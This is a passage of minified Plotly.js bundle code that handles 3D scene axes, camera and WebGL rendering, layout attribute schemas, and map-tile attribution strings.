a.title&&(a.title.font.color&&(r.labelColor[f]=M(a.title.font.color)),a.title.font.family&&(r.labelFont[f]=a.title.font.family),a.title.font.size&&(r.labelSize[f]=a.title.font.size)),"showline"in a&&(r.lineEnable[f]=a.showline),"linecolor"in a&&(r.lineColor[f]=M(a.linecolor)),"linewidth"in a&&(r.lineWidth[f]=a.linewidth),"showgrid"in a&&(r.gridEnable[f]=a.showgrid),"gridcolor"in a&&(r.gridColor[f]=M(a.gridcolor)),"gridwidth"in a&&(r.gridWidth[f]=a.gridwidth),a.type==="log"?r.zeroEnable[f]=!1:"zeroline"in a&&(r.zeroEnable[f]=a.zeroline),"zerolinecolor"in a&&(r.zeroLineColor[f]=M(a.zerolinecolor)),"zerolinewidth"in a&&(r.zeroLineWidth[f]=a.zerolinewidth),"ticks"in a&&a.ticks?r.lineTickEnable[f]=!0:r.lineTickEnable[f]=!1,"ticklen"in a&&(r.lineTickLength[f]=r._defaultLineTickLength[f]=a.ticklen),"tickcolor"in a&&(r.lineTickColor[f]=M(a.tickcolor)),"tickwidth"in a&&(r.lineTickWidth[f]=a.tickwidth),"tickangle"in a&&(r.tickAngle[f]=a.tickangle==="auto"?-3600:Math.PI*-a.tickangle/180),"showticklabels"in a&&(r.tickEnable[f]=a.showticklabels),"tickfont"in a&&(a.tickfont.color&&(r.tickColor[f]=M(a.tickfont.color)),a.tickfont.family&&(r.tickFont[f]=a.tickfont.family),a.tickfont.size&&(r.tickSize[f]=a.tickfont.size)),"mirror"in a?["ticks","all","allticks"].indexOf(a.mirror)!==-1?(r.lineTickMirror[f]=!0,r.lineMirror[f]=!0):a.mirror===!0?(r.lineTickMirror[f]=!1,r.lineMirror[f]=!0):(r.lineTickMirror[f]=!1,r.lineMirror[f]=!1):r.lineMirror[f]=!1,"showbackground"in a&&a.showbackground!==!1?(r.backgroundEnable[f]=!0,r.backgroundColor[f]=M(a.backgroundcolor)):r.backgroundEnable[f]=!1}};function d(g,t){var r=new L;return r.merge(g,t),r}te.exports=d},24682:function(te,Z,e){var M=e(71828),P=e(7901),o=e(73972),L=e(49119),S=e(3277),d=e(65500),g=e(27659).NG,t="gl3d";te.exports=function(a,l,u){var s=l._basePlotModules.length>1;function y(c){if(!s){var b=M.validate(a[c],d[c]);if(b)return a[c]}}L(a,l,u,{type:t,attributes:d,handleDefaults:r,fullLayout:l,font:l.font,fullData:u,getDfltFromLayout:y,autotypenumbersDflt:l.autotypenumbers,paper_bgcolor:l.paper_bgcolor,calendar:l.calendar})};function r(f,a,l,u){for(var s=l("bgcolor"),y=P.combine(s,u.paper_bgcolor),c=["up","center","eye"],b=0;b<c.length;b++)l("camera."+c[b]+".x"),l("camera."+c[b]+".y"),l("camera."+c[b]+".z");l("camera.projection.type");var h=!!l("aspectratio.x")&&!!l("aspectratio.y")&&!!l("aspectratio.z"),i=h?"manual":"auto",v=l("aspectmode",i);h||(f.aspectratio=a.aspectratio={x:1,y:1,z:1},v==="manual"&&(a.aspectmode="auto"),f.aspectmode=a.aspectmode);var T=g(u.fullData,t,u.id);S(f,a,{font:u.font,scene:u.id,data:T,bgColor:y,calendar:u.calendar,autotypenumbersDflt:u.autotypenumbersDflt,fullLayout:u.fullLayout}),o.getComponentMethod("annotations3d","handleDefaults")(f,a,u);var w=u.getDfltFromLayout("dragmode");if(w!==!1&&!w)if(w="orbit",f.camera&&f.camera.up){var E=f.camera.up.x,p=f.camera.up.y,A=f.camera.up.z;A!==0&&(!E||!p||!A||A/Math.sqrt(E*E+p*p+A*A)>.999)&&(w="turntable")}else w="turntable";l("dragmode",w),l("hovermode",u.getDfltFromLayout("hovermode"))}},65500:function(te,Z,e){var M=e(77894),P=e(27670).Y,o=e(1426).extendFlat,L=e(71828).counterRegex;function S(d,g,t){return{x:{valType:"number",dflt:d,editType:"camera"},y:{valType:"number",dflt:g,editType:"camera"},z:{valType:"number",dflt:t,editType:"camera"},editType:"camera"}}te.exports={_arrayAttrRegexps:[L("scene",".annotations",!0)],bgcolor:{valType:"color",dflt:"rgba(0,0,0,0)",editType:"plot"},camera:{up:o(S(0,0,1),{}),center:o(S(0,0,0),{}),eye:o(S(1.25,1.25,1.25),{}),projection:{type:{valType:"enumerated",values:["perspective","orthographic"],dflt:"perspective",editType:"calc"},editType:"calc"},editType:"camera"},domain:P({name:"scene",editType:"plot"}),aspectmode:{valType:"enumerated",values:["auto","cube","data","manual"],dflt:"auto",editType:"plot",impliedEdits:{"aspectratio.x":void 0,"aspectratio.y":void 0,"aspectratio.z":void 0}},aspectratio:{x:{valType:"number",min:0,editType:"plot",impliedEdits:{"^aspectmode":"manual"}},y:{valType:"number",min:0,editType:"plot",impliedEdits:{"^aspectmode":"manual"}},z:{valType:"number",min:0,editType:"plot",impliedEdits:{"^aspectmode":"manual"}},editType:"plot",impliedEdits:{aspectmode:"manual"}},xaxis:M,yaxis:M,zaxis:M,dragmode:{valType:"enumerated",values:["orbit","turntable","zoom","pan",!1],editType:"plot"},hovermode:{valType:"enumerated",values:["closest",!1],dflt:"closest",editType:"modebar"},uirevision:{valType:"any",editType:"none"},editType:"plot",_deprecated:{cameraposition:{valType:"info_array",editType:"camera"}}}},13133:function(te,Z,e){var M=e(78614),P=["xaxis","yaxis","zaxis"];function o(){this.enabled=[!0,!0,!0],this.colors=[[0,0,0,1],[0,0,0,1],[0,0,0,1]],this.drawSides=[!0,!0,!0],this.lineWidth=[1,1,1]}var L=o.prototype;L.merge=function(d){for(var g=0;g<3;++g){var t=d[P[g]];if(!t.visible){this.enabled[g]=!1,this.drawSides[g]=!1;continue}this.enabled[g]=t.showspikes,this.colors[g]=M(t.spikecolor),this.drawSides[g]=t.spikesides,this.lineWidth[g]=t.spikethickness}};function S(d){var g=new o;return g.merge(d),g}te.exports=S},96085:function(te,Z,e){te.exports=S;var M=e(89298),P=e(71828),o=["xaxis","yaxis","zaxis"];function L(d){for(var g=new Array(3),t=0;t<3;++t){for(var r=d[t],f=new Array(r.length),a=0;a<r.length;++a)f[a]=r[a].x;g[t]=f}return g}function S(d){for(var g=d.axesOptions,t=d.glplot.axesPixels,r=d.fullSceneLayout,f=[[],[],[]],a=0;a<3;++a){var l=r[o[a]];if(l._length=(t[a].hi-t[a].lo)*t[a].pixelsPerDataUnit/d.dataScale[a],Math.abs(l._length)===1/0||isNaN(l._length))f[a]=[];else{l._input_range=l.range.slice(),l.range[0]=t[a].lo/d.dataScale[a],l.range[1]=t[a].hi/d.dataScale[a],l._m=1/(d.dataScale[a]*t[a].pixelsPerDataUnit),l.range[0]===l.range[1]&&(l.range[0]-=1,l.range[1]+=1);var u=l.tickmode;if(l.tickmode==="auto"){l.tickmode="linear";var s=l.nticks||P.constrain(l._length/40,4,9);M.autoTicks(l,Math.abs(l.range[1]-l.range[0])/s)}for(var y=M.calcTicks(l,{msUTC:!0}),c=0;c<y.length;++c)y[c].x=y[c].x*d.dataScale[a],l.type==="date"&&(y[c].text=y[c].text.replace(/\<br\>/g," "));f[a]=y,l.tickmode=u}}g.ticks=f;for(var a=0;a<3;++a){.5*(d.glplot.bounds[0][a]+d.glplot.bounds[1][a]);for(var c=0;c<2;++c)g.bounds[c][a]=d.glplot.bounds[c][a]}d.contourLevels=L(f)}},63538:function(te){function Z(M,P){var o=[0,0,0,0],L,S;for(L=0;L<4;++L)for(S=0;S<4;++S)o[S]+=M[4*L+S]*P[L];return o}function e(M,P){var o=Z(M.projection,Z(M.view,Z(M.model,[P[0],P[1],P[2],1])));return o}te.exports=e},33539:function(te,Z,e){var M=e(9330).gl_plot3d,P=M.createCamera,o=M.createScene,L=e(40372),S=e(38520),d=e(73972),g=e(71828),t=g.preserveDrawingBuffer(),r=e(89298),f=e(30211),a=e(78614),l=e(58617),u=e(63538),s=e(30422),y=e(13133),c=e(96085),b,h,i=!1;function v(I,k){var B=document.createElement("div"),_=I.container;this.graphDiv=I.graphDiv;var F=document.createElementNS("http://www.w3.org/2000/svg","svg");F.style.position="absolute",F.style.top=F.style.left="0px",F.style.width=F.style.height="100%",F.style["z-index"]=20,F.style["pointer-events"]="none",B.appendChild(F),this.svgContainer=F,B.id=I.id,B.style.position="absolute",B.style.top=B.style.left="0px",B.style.width=B.style.height="100%",_.appendChild(B),this.fullLayout=k,this.id=I.id||"scene",this.fullSceneLayout=k[this.id],this.plotArgs=[[],{},{}],this.axesOptions=s(k,k[this.id]),this.spikeOptions=y(k[this.id]),this.container=B,this.staticMode=!!I.staticPlot,this.pixelRatio=this.pixelRatio||I.plotGlPixelRatio||2,this.dataScale=[1,1,1],this.contourLevels=[[],[],[]],this.convertAnnotations=d.getComponentMethod("annotations3d","convert"),this.drawAnnotations=d.getComponentMethod("annotations3d","draw"),this.initializeGLPlot()}var T=v.prototype;T.prepareOptions=function(){var I=this,k={canvas:I.canvas,gl:I.gl,glOptions:{preserveDrawingBuffer:t,premultipliedAlpha:!0,antialias:!0},container:I.container,axes:I.axesOptions,spikes:I.spikeOptions,pickRadius:10,snapToData:!0,autoScale:!0,autoBounds:!1,cameraObject:I.camera,pixelRatio:I.pixelRatio};if(I.staticMode){if(!h&&(b=document.createElement("canvas"),h=L({canvas:b,preserveDrawingBuffer:!0,premultipliedAlpha:!0,antialias:!0}),!h))throw new Error("error creating static canvas/context for image server");k.gl=h,k.canvas=b}return k};var w=!0;T.tryCreatePlot=function(){var I=this,k=I.prepareOptions(),B=!0;try{I.glplot=o(k)}catch{if(I.staticMode||!w||t)B=!1;else{g.warn(["webgl setup failed possibly due to","false preserveDrawingBuffer config.","The mobile/tablet device may not be detected by is-mobile module.","Enabling preserveDrawingBuffer in second attempt to create webgl scene..."].join(" "));try{t=k.glOptions.preserveDrawingBuffer=!0,I.glplot=o(k)}catch{t=k.glOptions.preserveDrawingBuffer=!1,B=!1}}}return w=!1,B},T.initializeGLCamera=function(){var I=this,k=I.fullSceneLayout.camera,B=k.projection.type==="orthographic";I.camera=P(I.container,{center:[k.center.x,k.center.y,k.center.z],eye:[k.eye.x,k.eye.y,k.eye.z],up:[k.up.x,k.up.y,k.up.z],_ortho:B,zoomMin:.01,zoomMax:100,mode:"orbit"})},T.initializeGLPlot=function(){var I=this;I.initializeGLCamera();var k=I.tryCreatePlot();if(!k)return l(I);I.traces={},I.make4thDimension();var B=I.graphDiv,_=B.layout,F=function(){var z={};return I.isCameraChanged(_)&&(z[I.id+".camera"]=I.getCamera()),I.isAspectChanged(_)&&(z[I.id+".aspectratio"]=I.glplot.getAspectratio(),_[I.id].aspectmode!=="manual"&&(I.fullSceneLayout.aspectmode=_[I.id].aspectmode=z[I.id+".aspectmode"]="manual")),z},O=function(z){if(z.fullSceneLayout.dragmode!==!1){var N=F();z.saveLayout(_),z.graphDiv.emit("plotly_relayout",N)}};return I.glplot.canvas&&(I.glplot.canvas.addEventListener("mouseup",function(){O(I)}),I.glplot.canvas.addEventListener("touchstart",function(){i=!0}),I.glplot.canvas.addEventListener("wheel",function(z){if(B._context._scrollZoom.gl3d){if(I.camera._ortho){var N=z.deltaX>z.deltaY?1.1:.9090909090909091,G=I.glplot.getAspectratio();I.glplot.setAspectratio({x:N*G.x,y:N*G.y,z:N*G.z})}O(I)}},S?{passive:!1}:!1),I.glplot.canvas.addEventListener("mousemove",function(){if(I.fullSceneLayout.dragmode!==!1&&I.camera.mouseListener.buttons!==0){var z=F();I.graphDiv.emit("plotly_relayouting",z)}}),I.staticMode||I.glplot.canvas.addEventListener("webglcontextlost",function(z){B&&B.emit&&B.emit("plotly_webglcontextlost",{event:z,layer:I.id})},!1)),I.glplot.oncontextloss=function(){I.recoverContext()},I.glplot.onrender=function(){I.render()},!0},T.render=function(){var I=this,k=I.graphDiv,B,_=I.svgContainer,F=I.container.getBoundingClientRect();k._fullLayout._calcInverseTransform(k);var O=k._fullLayout._invScaleX,z=k._fullLayout._invScaleY,N=F.width*O,G=F.height*z;_.setAttributeNS(null,"viewBox","0 0 "+N+" "+G),_.setAttributeNS(null,"width",N),_.setAttributeNS(null,"height",G),c(I),I.glplot.axes.update(I.axesOptions);for(var J=Object.keys(I.traces),q=null,ne=I.glplot.selection,fe=0;fe<J.length;++fe)B=I.traces[J[fe]],B.data.hoverinfo!=="skip"&&B.handlePick(ne)&&(q=B),B.setContourLevels&&B.setContourLevels();function X(xe,ke,_e){var be=I.fullSceneLayout[xe+"axis"];return be.type!=="log"&&(ke=be.d2l(ke)),r.hoverLabelText(be,ke,_e)}if(q!==null){var W=u(I.glplot.cameraParams,ne.dataCoordinate);B=q.data;var V=k._fullData[B.index],Y=ne.index,Q={xLabel:X("x",ne.traceCoordinate[0],B.xhoverformat),yLabel:X("y",ne.traceCoordinate[1],B.yhoverformat),zLabel:X("z",ne.traceCoordinate[2],B.zhoverformat)},ie=f.castHoverinfo(V,I.fullLayout,Y),j=(ie||"").split("+"),K=ie&&ie==="all";!V.hovertemplate&&!K&&(j.indexOf("x")===-1&&(Q.xLabel=void 0),j.indexOf("y")===-1&&(Q.yLabel=void 0),j.indexOf("z")===-1&&(Q.zLabel=void 0),j.indexOf("text")===-1&&(ne.textLabel=void 0),j.indexOf("name")===-1&&(q.name=void 0));var oe,re=[];B.type==="cone"||B.type==="streamtube"?(Q.uLabel=X("x",ne.traceCoordinate[3],B.uhoverformat),(K||j.indexOf("u")!==-1)&&re.push("u: "+Q.uLabel),Q.vLabel=X("y",ne.traceCoordinate[4],B.vhoverformat),(K||j.indexOf("v")!==-1)&&re.push("v: "+Q.vLabel),Q.wLabel=X("z",ne.traceCoordinate[5],B.whoverformat),(K||j.indexOf("w")!==-1)&&re.push("w: "+Q.wLabel),Q.normLabel=ne.traceCoordinate[6].toPrecision(3),(K||j.indexOf("norm")!==-1)&&re.push("norm: "+Q.normLabel),B.type==="streamtube"&&(Q.divergenceLabel=ne.traceCoordinate[7].toPrecision(3),(K||j.indexOf("divergence")!==-1)&&re.push("divergence: "+Q.divergenceLabel)),ne.textLabel&&re.push(ne.textLabel),oe=re.join("<br>")):B.type==="isosurface"||B.type==="volume"?(Q.valueLabel=r.hoverLabelText(I._mockAxis,I._mockAxis.d2l(ne.traceCoordinate[3]),B.valuehoverformat),re.push("value: "+Q.valueLabel),ne.textLabel&&re.push(ne.textLabel),oe=re.join("<br>")):oe=ne.textLabel;var le={x:ne.traceCoordinate[0],y:ne.traceCoordinate[1],z:ne.traceCoordinate[2],data:V._input,fullData:V,curveNumber:V.index,pointNumber:Y};f.appendArrayPointValue(le,V,Y),B._module.eventData&&(le=V._module.eventData(le,ne,V,{},Y));var pe={points:[le]};if(I.fullSceneLayout.hovermode){var we=[];f.loneHover({trace:V,x:(.5+.5*W[0]/W[3])*N,y:(.5-.5*W[1]/W[3])*G,xLabel:Q.xLabel,yLabel:Q.yLabel,zLabel:Q.zLabel,text:oe,name:q.name,color:f.castHoverOption(V,Y,"bgcolor")||q.color,borderColor:f.castHoverOption(V,Y,"bordercolor"),fontFamily:f.castHoverOption(V,Y,"font.family"),fontSize:f.castHoverOption(V,Y,"font.size"),fontColor:f.castHoverOption(V,Y,"font.color"),nameLength:f.castHoverOption(V,Y,"namelength"),textAlign:f.castHoverOption(V,Y,"align"),hovertemplate:g.castOption(V,Y,"hovertemplate"),hovertemplateLabels:g.extendFlat({},le,Q),eventData:[le]},{container:_,gd:k,inOut_bbox:we}),le.bbox=we[0]}ne.distance<5&&(ne.buttons||i)?k.emit("plotly_click",pe):k.emit("plotly_hover",pe),this.oldEventData=pe}else f.loneUnhover(_),this.oldEventData&&k.emit("plotly_unhover",this.oldEventData),this.oldEventData=void 0;I.drawAnnotations(I)},T.recoverContext=function(){var I=this;I.glplot.dispose();var k=function(){if(I.glplot.gl.isContextLost()){requestAnimationFrame(k);return}if(!I.initializeGLPlot()){g.error("Catastrophic and unrecoverable WebGL error. Context lost.");return}I.plot.apply(I,I.plotArgs)};requestAnimationFrame(k)};var E=["xaxis","yaxis","zaxis"];function p(I,k,B){for(var _=I.fullSceneLayout,F=0;F<3;F++){var O=E[F],z=O.charAt(0),N=_[O],G=k[z],J=k[z+"calendar"],q=k["_"+z+"length"];if(!g.isArrayOrTypedArray(G))B[0][F]=Math.min(B[0][F],0),B[1][F]=Math.max(B[1][F],q-1);else for(var ne,fe=0;fe<(q||G.length);fe++)if(g.isArrayOrTypedArray(G[fe]))for(var X=0;X<G[fe].length;++X)ne=N.d2l(G[fe][X],0,J),!isNaN(ne)&&isFinite(ne)&&(B[0][F]=Math.min(B[0][F],ne),B[1][F]=Math.max(B[1][F],ne));else ne=N.d2l(G[fe],0,J),!isNaN(ne)&&isFinite(ne)&&(B[0][F]=Math.min(B[0][F],ne),B[1][F]=Math.max(B[1][F],ne))}}function A(I,k){for(var B=I.fullSceneLayout,_=B.annotations||[],F=0;F<3;F++)for(var O=E[F],z=O.charAt(0),N=B[O],G=0;G<_.length;G++){var J=_[G];if(J.visible){var q=N.r2l(J[z]);!isNaN(q)&&isFinite(q)&&(k[0][F]=Math.min(k[0][F],q),k[1][F]=Math.max(k[1][F],q))}}}T.plot=function(I,k,B){var _=this;if(_.plotArgs=[I,k,B],!_.glplot.contextLost){var F,O,z,N,G,J,q=k[_.id],ne=B[_.id];_.fullLayout=k,_.fullSceneLayout=q,_.axesOptions.merge(k,q),_.spikeOptions.merge(q),_.setViewport(q),_.updateFx(q.dragmode,q.hovermode),_.camera.enableWheel=_.graphDiv._context._scrollZoom.gl3d,_.glplot.setClearColor(a(q.bgcolor)),_.setConvert(G),I?Array.isArray(I)||(I=[I]):I=[];var fe=[[1/0,1/0,1/0],[-1/0,-1/0,-1/0]];for(z=0;z<I.length;++z)F=I[z],!(F.visible!==!0||F._length===0)&&p(this,F,fe);A(this,fe);var X=[1,1,1];for(N=0;N<3;++N)fe[1][N]===fe[0][N]?X[N]=1:X[N]=1/(fe[1][N]-fe[0][N]);for(_.dataScale=X,_.convertAnnotations(this),z=0;z<I.length;++z)F=I[z],!(F.visible!==!0||F._length===0)&&(O=_.traces[F.uid],O?O.data.type===F.type?O.update(F):(O.dispose(),O=F._module.plot(this,F),_.traces[F.uid]=O):(O=F._module.plot(this,F),_.traces[F.uid]=O),O.name=F.name);var W=Object.keys(_.traces);e:for(z=0;z<W.length;++z){for(N=0;N<I.length;++N)if(I[N].uid===W[z]&&I[N].visible===!0&&I[N]._length!==0)continue e;O=_.traces[W[z]],O.dispose(),delete _.traces[W[z]]}_.glplot.objects.sort(function($e,Xe){return $e._trace.data.index-Xe._trace.data.index});var V=[[0,0,0],[0,0,0]],Y={};for(z=0;z<3;++z){if(G=q[E[z]],J=G.type,J in Y?(Y[J].acc*=X[z],Y[J].count+=1):Y[J]={acc:X[z],count:1},G.autorange){V[0][z]=1/0,V[1][z]=-1/0;var Q=_.glplot.objects,ie=_.fullSceneLayout.annotations||[],j=G._name.charAt(0);for(N=0;N<Q.length;N++){var K=Q[N],oe=K.bounds,re=K._trace.data._pad||0;K.constructor.name==="ErrorBars"&&G._lowerLogErrorBound?V[0][z]=Math.min(V[0][z],G._lowerLogErrorBound):V[0][z]=Math.min(V[0][z],oe[0][z]/X[z]-re),V[1][z]=Math.max(V[1][z],oe[1][z]/X[z]+re)}for(N=0;N<ie.length;N++){var le=ie[N];if(le.visible){var pe=G.r2l(le[j]);V[0][z]=Math.min(V[0][z],pe),V[1][z]=Math.max(V[1][z],pe)}}if("rangemode"in G&&G.rangemode==="tozero"&&(V[0][z]=Math.min(V[0][z],0),V[1][z]=Math.max(V[1][z],0)),V[0][z]>V[1][z])V[0][z]=-1,V[1][z]=1;else{var we=V[1][z]-V[0][z];V[0][z]-=we/32,V[1][z]+=we/32}if(G.autorange==="reversed"){var xe=V[0][z];V[0][z]=V[1][z],V[1][z]=xe}}else{var ke=G.range;V[0][z]=G.r2l(ke[0]),V[1][z]=G.r2l(ke[1])}V[0][z]===V[1][z]&&(V[0][z]-=1,V[1][z]+=1),_.glplot.setBounds(z,{min:V[0][z]*X[z],max:V[1][z]*X[z]})}var _e,be=q.aspectmode;if(be==="cube")_e=[1,1,1];else if(be==="manual"){var ge=q.aspectratio;_e=[ge.x,ge.y,ge.z]}else if(be==="auto"||be==="data"){var Te=[1,1,1];for(z=0;z<3;++z){G=q[E[z]],J=G.type;var Fe=Y[J];Te[z]=Math.pow(Fe.acc,1/Fe.count)/X[z]}be==="data"||Math.max.apply(null,Te)/Math.min.apply(null,Te)<=4?_e=Te:_e=[1,1,1]}else throw new Error("scene.js aspectRatio was not one of the enumerated types");q.aspectratio.x=ne.aspectratio.x=_e[0],q.aspectratio.y=ne.aspectratio.y=_e[1],q.aspectratio.z=ne.aspectratio.z=_e[2],_.glplot.setAspectratio(q.aspectratio),_.viewInitial.aspectratio||(_.viewInitial.aspectratio={x:q.aspectratio.x,y:q.aspectratio.y,z:q.aspectratio.z}),_.viewInitial.aspectmode||(_.viewInitial.aspectmode=q.aspectmode);var Oe=q.domain||null,Ce=k._size||null;if(Oe&&Ce){var Be=_.container.style;Be.position="absolute",Be.left=Ce.l+Oe.x[0]*Ce.w+"px",Be.top=Ce.t+(1-Oe.y[1])*Ce.h+"px",Be.width=Ce.w*(Oe.x[1]-Oe.x[0])+"px",Be.height=Ce.h*(Oe.y[1]-Oe.y[0])+"px"}_.glplot.redraw()}},T.destroy=function(){var I=this;I.glplot&&(I.camera.mouseListener.enabled=!1,I.container.removeEventListener("wheel",I.camera.wheelListener),I.camera=null,I.glplot.dispose(),I.container.parentNode.removeChild(I.container),I.glplot=null)};function m(I){return[[I.eye.x,I.eye.y,I.eye.z],[I.center.x,I.center.y,I.center.z],[I.up.x,I.up.y,I.up.z]]}function n(I){return{up:{x:I.up[0],y:I.up[1],z:I.up[2]},center:{x:I.center[0],y:I.center[1],z:I.center[2]},eye:{x:I.eye[0],y:I.eye[1],z:I.eye[2]},projection:{type:I._ortho===!0?"orthographic":"perspective"}}}T.getCamera=function(){var I=this;return I.camera.view.recalcMatrix(I.camera.view.lastT()),n(I.camera)},T.setViewport=function(I){var k=this,B=I.camera;k.camera.lookAt.apply(this,m(B)),k.glplot.setAspectratio(I.aspectratio);var _=B.projection.type==="orthographic",F=k.camera._ortho;_!==F&&(k.glplot.redraw(),k.glplot.clearRGBA(),k.glplot.dispose(),k.initializeGLPlot())},T.isCameraChanged=function(I){var k=this,B=k.getCamera(),_=g.nestedProperty(I,k.id+".camera"),F=_.get();function O(J,q,ne,fe){var X=["up","center","eye"],W=["x","y","z"];return q[X[ne]]&&J[X[ne]][W[fe]]===q[X[ne]][W[fe]]}var z=!1;if(F===void 0)z=!0;else{for(var N=0;N<3;N++)for(var G=0;G<3;G++)if(!O(B,F,N,G)){z=!0;break}(!F.projection||B.projection&&B.projection.type!==F.projection.type)&&(z=!0)}return z},T.isAspectChanged=function(I){var k=this,B=k.glplot.getAspectratio(),_=g.nestedProperty(I,k.id+".aspectratio"),F=_.get();return F===void 0||F.x!==B.x||F.y!==B.y||F.z!==B.z},T.saveLayout=function(I){var k=this,B=k.fullLayout,_,F,O,z,N,G,J=k.isCameraChanged(I),q=k.isAspectChanged(I),ne=J||q;if(ne){var fe={};if(J&&(_=k.getCamera(),F=g.nestedProperty(I,k.id+".camera"),O=F.get(),fe[k.id+".camera"]=O),q&&(z=k.glplot.getAspectratio(),N=g.nestedProperty(I,k.id+".aspectratio"),G=N.get(),fe[k.id+".aspectratio"]=G),d.call("_storeDirectGUIEdit",I,B._preGUI,fe),J){F.set(_);var X=g.nestedProperty(B,k.id+".camera");X.set(_)}if(q){N.set(z);var W=g.nestedProperty(B,k.id+".aspectratio");W.set(z),k.glplot.redraw()}}return ne},T.updateFx=function(I,k){var B=this,_=B.camera;if(_)if(I==="orbit")_.mode="orbit",_.keyBindingMode="rotate";else if(I==="turntable"){_.up=[0,0,1],_.mode="turntable",_.keyBindingMode="rotate";var F=B.graphDiv,O=F._fullLayout,z=B.fullSceneLayout.camera,N=z.up.x,G=z.up.y,J=z.up.z;if(J/Math.sqrt(N*N+G*G+J*J)<.999){var q=B.id+".camera.up",ne={x:0,y:0,z:1},fe={};fe[q]=ne;var X=F.layout;d.call("_storeDirectGUIEdit",X,O._preGUI,fe),z.up=ne,g.nestedProperty(X,q).set(ne)}}else _.keyBindingMode=I;B.fullSceneLayout.hovermode=k};function C(I,k,B){for(var _=0,F=B-1;_<F;++_,--F)for(var O=0;O<k;++O)for(var z=0;z<4;++z){var N=4*(k*_+O)+z,G=4*(k*F+O)+z,J=I[N];I[N]=I[G],I[G]=J}}function x(I,k,B){for(var _=0;_<B;++_)for(var F=0;F<k;++F){var O=4*(k*_+F),z=I[O+3];if(z>0)for(var N=255/z,G=0;G<3;++G)I[O+G]=Math.min(N*I[O+G],255)}}T.toImage=function(I){var k=this;I||(I="png"),k.staticMode&&k.container.appendChild(b),k.glplot.redraw();var B=k.glplot.gl,_=B.drawingBufferWidth,F=B.drawingBufferHeight;B.bindFramebuffer(B.FRAMEBUFFER,null);var O=new Uint8Array(_*F*4);B.readPixels(0,0,_,F,B.RGBA,B.UNSIGNED_BYTE,O),C(O,_,F),x(O,_,F);var z=document.createElement("canvas");z.width=_,z.height=F;var N=z.getContext("2d",{willReadFrequently:!0}),G=N.createImageData(_,F);G.data.set(O),N.putImageData(G,0,0);var J;switch(I){case"jpeg":J=z.toDataURL("image/jpeg");break;case"webp":J=z.toDataURL("image/webp");break;default:J=z.toDataURL("image/png")}return k.staticMode&&k.container.removeChild(b),J},T.setConvert=function(){for(var I=this,k=0;k<3;k++){var B=I.fullSceneLayout[E[k]];r.setConvert(B,I.fullLayout),B.setScale=g.noop}},T.make4thDimension=function(){var I=this,k=I.graphDiv,B=k._fullLayout;I._mockAxis={type:"linear",showexponent:"all",exponentformat:"B"},r.setConvert(I._mockAxis,B)},te.exports=v},90060:function(te){te.exports=function(e,M,P,o){o=o||e.length;for(var L=new Array(o),S=0;S<o;S++)L[S]=[e[S],M[S],P[S]];return L}},10820:function(te,Z,e){var M=e(41940),P=e(85594),o=e(22399),L=e(29241),S=e(53777),d=e(35025),g=e(1426).extendFlat,t=M({editType:"calc"});t.family.dflt='"Open Sans", verdana, arial, sans-serif',t.size.dflt=12,t.color.dflt=o.defaultLine,te.exports={font:t,title:{text:{valType:"string",editType:"layoutstyle"},font:M({editType:"layoutstyle"}),xref:{valType:"enumerated",dflt:"container",values:["container","paper"],editType:"layoutstyle"},yref:{valType:"enumerated",dflt:"container",values:["container","paper"],editType:"layoutstyle"},x:{valType:"number",min:0,max:1,dflt:.5,editType:"layoutstyle"},y:{valType:"number",min:0,max:1,dflt:"auto",editType:"layoutstyle"},xanchor:{valType:"enumerated",dflt:"auto",values:["auto","left","center","right"],editType:"layoutstyle"},yanchor:{valType:"enumerated",dflt:"auto",values:["auto","top","middle","bottom"],editType:"layoutstyle"},pad:g(d({editType:"layoutstyle"}),{}),automargin:{valType:"boolean",dflt:!1,editType:"plot"},editType:"layoutstyle"},uniformtext:{mode:{valType:"enumerated",values:[!1,"hide","show"],dflt:!1,editType:"plot"},minsize:{valType:"number",min:0,dflt:0,editType:"plot"},editType:"plot"},autosize:{valType:"boolean",dflt:!1,editType:"none"},width:{valType:"number",min:10,dflt:700,editType:"plot"},height:{valType:"number",min:10,dflt:450,editType:"plot"},minreducedwidth:{valType:"number",min:2,dflt:64,editType:"plot"},minreducedheight:{valType:"number",min:2,dflt:64,editType:"plot"},margin:{l:{valType:"number",min:0,dflt:80,editType:"plot"},r:{valType:"number",min:0,dflt:80,editType:"plot"},t:{valType:"number",min:0,dflt:100,editType:"plot"},b:{valType:"number",min:0,dflt:80,editType:"plot"},pad:{valType:"number",min:0,dflt:0,editType:"plot"},autoexpand:{valType:"boolean",dflt:!0,editType:"plot"},editType:"plot"},computed:{valType:"any",editType:"none"},paper_bgcolor:{valType:"color",dflt:o.background,editType:"plot"},plot_bgcolor:{valType:"color",dflt:o.background,editType:"layoutstyle"},autotypenumbers:{valType:"enumerated",values:["convert types","strict"],dflt:"convert types",editType:"calc"},separators:{valType:"string",editType:"plot"},hidesources:{valType:"boolean",dflt:!1,editType:"plot"},showlegend:{valType:"boolean",editType:"legend"},colorway:{valType:"colorlist",dflt:o.defaults,editType:"calc"},datarevision:{valType:"any",editType:"calc"},uirevision:{valType:"any",editType:"none"},editrevision:{valType:"any",editType:"none"},selectionrevision:{valType:"any",editType:"none"},template:{valType:"any",editType:"calc"},newshape:L.newshape,activeshape:L.activeshape,newselection:S.newselection,activeselection:S.activeselection,meta:{valType:"any",arrayOk:!0,editType:"plot"},transition:g({},P.transition,{editType:"none"}),_deprecated:{title:{valType:"string",editType:"layoutstyle"},titlefont:M({editType:"layoutstyle"})}}},77734:function(te,Z,e){var M=e(78607),P="1.10.1",o='© <a target="_blank" href="https://www.openstreetmap.org/copyright">OpenStreetMap</a> contributors',L=['© <a target="_blank" href="https://carto.com/">Carto</a>',o].join(" "),S=['Map tiles by <a target="_blank" href="https://stamen.com">Stamen Design</a>','under <a target="_blank" href="https://creativecommons.org/licenses/by/3.0">CC BY 3.0</a>',"|",'Data by <a target="_blank" href="https://openstreetmap.org">OpenStreetMap</a> contributors','under <a target="_blank" href="https://www.openstreetmap.org/copyright">ODbL</a>'].join(" "),d=['Map tiles by <a target="_blank" href="https://stamen.com">Stamen Design</a>','under <a target="_blank" href="https://creativecommons.org/licenses/by/3.0">CC BY 3.0</a>',"|",'Data by <a target="_blank" href="https://openstreetmap.org">OpenStreetMap</a> contributors','under <a target="_blank" href="https://creativecommons.org/licenses/by-sa/3.0">CC BY SA</a>'].join(" 